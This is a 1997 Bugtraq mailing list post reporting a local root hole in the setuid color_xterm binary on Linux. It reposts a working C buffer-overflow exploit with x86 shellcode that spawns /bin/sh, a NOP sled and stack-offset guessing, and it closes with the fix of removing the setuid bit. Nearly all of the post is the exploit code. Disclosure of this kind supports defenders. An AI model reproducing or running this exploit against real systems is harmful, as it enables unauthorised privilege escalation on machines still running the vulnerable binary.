Bugtraq mailing list archives
Linux Exploit - color_xterm (cxterm)
From: clem7508 () GINKO AIT FREDONIA EDU (James Clement)
Date: Tue, 27 May 1997 20:16:46 -0400
Hello, A while back the hole in cxterm was pointed out and an exploit was posted. The same problem exists in color_xterm as does in the cxterm chinese emulator for X Windows. The following exploit is the one posted by Ming Zhang with the cxterm path replaced with the color_xterm path. The quick fix (as stated by Zhang) again is: chmod -s /usr/X11R6/bin/color_xterm best of luck, james #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define CXTERM_PATH "/usr/X11R6/bin/color_xterm" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i,OffSet = DEFAULT_OFFSET; /* use a different offset if you find this program doesn't do the job */ if (argc>1) OffSet = atoi(argv[1]); buff = malloc(2048); if(!buff) { printf("Buy more RAM!\n"); exit(0); } ptr = buff; for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) { memcpy (ptr,nop,NOP_SIZE); ptr+=NOP_SIZE; } for(i=0;i < strlen(shellcode);i++) *(ptr++) = shellcode[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_sp() + OffSet; ptr = (char *)addr_ptr; *ptr = 0; (void) fprintf(stderr, "This bug is discovered by Ming Zhang(mzhang () softcom net)\n"); /* Don't need to set ur DISPLAY to exploit this one, cool huh? */ execl(CXTERM_PATH, "color_xterm", "-xrm",buff, NULL); }
Current thread:
- Linux Exploit - color_xterm (cxterm) James Clement (May 27)